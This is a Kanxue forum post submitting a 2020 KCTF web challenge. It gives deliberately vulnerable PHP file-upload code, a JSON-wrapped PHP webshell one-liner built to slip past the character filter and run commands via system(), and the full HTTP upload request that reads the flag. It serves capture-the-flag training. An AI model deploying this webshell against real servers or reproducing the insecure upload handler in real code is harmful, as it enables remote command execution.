首页
社区
课程
招聘
[2020 KCTF][WEB]又不是不能用
发表于: 2020-4-2 11:50 3331

[2020 KCTF][WEB]又不是不能用

2020-4-2 11:50
3331

个人提交

参赛题目: 又不是不能用

题目描述 :  E_NOTICE: 又不是不能用.png

----------

新人 第一次出题 难免有些错误

环境:PHP5.6+nginx

链接:c84K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4h3o6g2Z5L8p5N6e0L8h3A6G2x3X3!0w2k6V1S2Q4x3X3b7H3j5K6f1%4i4K6g2X3k6Y4M7`.
提取码:72uk

使用docker load  载入镜像

docker load -i easyphp1.tar
docker run -d -p 2333:80 easyphp

--

<?php
if (isset($_FILES["file"]["tmp_name"])) {
    $file = fopen($_FILES["file"]["tmp_name"], "r");
    $data = fread($file, filesize($_FILES["file"]["tmp_name"]));
    $arr = json_decode($data, true, 2);
    if (json_last_error() != JSON_ERROR_NONE) {
        die("JsonErr");
    }
    if (count($arr) != 1) {
        die("DataErr");
    }
    $data = $arr['data'];
    $len = strlen($data);
    if ($len > 56) {
        die("Long");
    }
    if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
        die("no");
    }
    $name = mt_rand();
    $ext = strrchr($_FILES['file']['name'], '.');
    $ext = trim($ext);
    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);
    echo "upload/" . $name . $ext;
} else {
    highlight_file(__FILE__);
}
?>


--


攻击方需要构造一个php文件读取根目录/下的flag

文件必须符合json规范 禁止使用部分特殊符号 且有长度限制


标准writeup

构造PHP一句话

{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}

POST / HTTP/1.1
Host: 256K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0A6L8r3W2B7K9#2)9J5k6i4c8C8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.8,en;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29882803486271100771841892137
Content-Length: 419

-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="file"; filename="123456.php"
Content-Type: application/octet-stream

{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="submit"

Submit
-----------------------------29882803486271100771841892137--

利用上传后的php文件 读取根目录中的flag

flag{ko_ko_da_yo~}







[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2020-5-1 19:52 被kanxue编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 234
活跃值: (44)
能力值: ( LV3,RANK:24 )
在线值:
发帖
回帖
粉丝
2
已重新修改
最后于 2020-4-2 17:00 被白帽酱编辑 ,原因:
2020-4-2 14:19
0
雪    币: 234
活跃值: (44)
能力值: ( LV3,RANK:24 )
在线值:
发帖
回帖
粉丝
3
改了下题目
2020-4-4 19:20
0
雪    币: 58782
活跃值: (21915)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
4
白帽酱 改了下题目
收到,我们评估下反馈你。
2020-4-8 16:00
0
游客
登录 | 注册 方可回帖
返回